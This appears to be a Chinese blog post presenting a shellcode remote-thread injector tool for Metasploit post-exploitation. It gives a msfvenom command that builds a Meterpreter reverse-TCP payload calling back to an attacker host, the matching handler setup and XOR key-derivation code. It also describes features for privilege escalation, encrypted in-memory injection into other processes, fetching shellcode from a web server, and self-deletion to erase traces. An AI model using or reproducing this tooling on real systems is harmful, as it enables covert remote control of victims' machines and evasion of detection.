zoukankan      html  css  js  c++  java
  • ShellCode 远程线程注入器 [首发]

    使用C语言实现了一个ShellCode远程线程注入工具,其主要是用于配合Metasploit生成的攻击载荷一起使用,通常可以直接将ShellCode注入到指定的进程内存中,不会再磁盘中留下任何痕迹,注入器可以通过远程下载到,并在命令行下实现对特定进程的注入操作,在后渗透测试中可以更方便的反弹后门。

    目前只支持32位ShellCode注入32位系统或用户进程中,64位暂时未经过测试,推荐32位版,并使用以下配置生成ShellCode

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.116 LPORT=9999 -f c

    后端载荷推荐使用以下配置

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.1.116
    set lport 9999


    工具功能截图:


    Show 输出进程列表: 输出当前系统中所有的进程列表,并显示出进程的位数,该工具只能注入32位进程,左侧带有+号的均可以注入shell代码。


    promote强制提权: 该命令用于在权限不足的时候,更换令牌将自身提升为管理员权限,方便注入。


    format 格式化shellcode: 该命令用于将文本中的shellcode代码格式化为一行,被格式化过的shellcode代码才可以执行命令行反弹。

    使用msf工具生成的shellcode,需要去掉开头的描述内容,只保留shellcode代码才可被正确的格式化。


    xor 异或加解密: 该命令需要提前将格式化好的shellcode放到一个文本中,在调用时,传入文本路径以及密码即可,执行第一次是加密,第二次就是解密。



    xchg 字节数组转换: 该命令可以将一段压缩过的shellcode代码转换为字节数组格式,方便直接引用,其可以配合xor实现异或加密生成字节数组。

    如果是加密过的文件,其实也可使使用该方法,生成加密过的shellcode代码,同样支持生成字节数组。


    xor与xchg 配合实现解码shellcode: 两者配合不仅可以互相转换shellcode类型,还可以对加密过的shellcode进行解码操作。

    例如我们知道一段密文shellcode,也知道密码是98,如下是一段密文。

    首先保存成文件,然后异或出其明文形式。

    接着将其转换为字节数组,将其保存为shell.txt文本,然后执行转换字节数组命令。


    ShellCode字节数组加密: 直接传入字节数组文本,自动加密后输出为字节数组格式代码。

    1.首先,我们需要准备一个文本,里面放入需要加密的字节数组。

    2.执行XorArray 传入,文本路径和使用的密钥,即可加密,密钥不要大于7位数。

    3.在写解码程序时,应该遵循如下格式即可。

    	// 动态加密密钥计算流程
    	TCHAR cCode[32] = { 0 };
    	_tcscpy(cCode, StrPasswd);
    	DWORD Xor_Key = 0;
    	for (unsigned int x = 0; x < lstrlen(cCode); x++)
    	{
    		Xor_Key = Xor_Key * 4 + cCode[x];
    	}
    
    Xor_key = 生成的Key钥匙。
    

    shell命令 注入shellcode到自身进程: 将shellcode注入到自身进程中并运行。

    1.首先配置好mfs侦听器,这里不在演示如何配置。

    2.客户端直接运行注入自身即可反弹。


    file命令 从文件中运行shellcode: 将一句话shellcode保存为文件,需要时直接指定加载即可,如下演示。


    Inject 注入进程: 该命令,可以将当前指定的shellcode注入到任意一个进程上面,非常方便。

    首先需要使用show命令,找到32位程序。

    然后直接输入参数实现注入,这种方式,直接注入到了目标进程中,所以可以关闭注入器。


    直接运行加密后的ShellCode【新增功能】: 在执行加密shellcode时,传入一个解密密钥,自动在内存中解码并执行。

    1.首先得到非加密shellcode之后,将其format格式化一下,保存为文本格式。

    2.输入加密密码生成字符串,复制到新文件中。

    3.传入密码,直接反弹。


    delself 清理痕迹【新增功能】: 从系统中清除自身进程所有信息


    xor_inject 加密字节注入【新增功能】: 直接将加密后的字节注入到远程进程中并反弹。


    通过Web页面加载ShellCode【新增功能】: 从Web页面中下载shell并运行反弹。

    1.首先需要自己搭建一个apache服务器,任何一个版本均可以。

    2.其次通过使用format将生成的shell改为一行,并放入到服务器根目录下,具体如下。

    3.客户端使用本工具的web_shell模块执行远程加载并反弹。

    4.此时自己的apache日志中会有一条,访问来源,就是加载shell的。



    许可协议: 文章中的代码均为学习时整理的笔记,博客中除去明确标注有参考文献的文章,其他文章【均为原创】作品,转载请务必【添加出处】,您添加出处是我创作的动力!
    反制措施: 《点我预览协议》
  • 相关阅读:
    链表操作
    51nod1085-----01背包
    51nod1046快速幂取余
    51nod贪心算法入门-----任务分配问题
    51nod动态规划-----矩阵取数
    51nod贪心算法入门-----独木舟问题
    POJ2255二叉树
    POJ1182并查集
    POJ1384完全背包问题
    20162313_苑洪铭_ 第7周学习总结
  • 原文地址:https://www.cnblogs.com/LyShark/p/14966502.html
Copyright © 2011-2022 走看看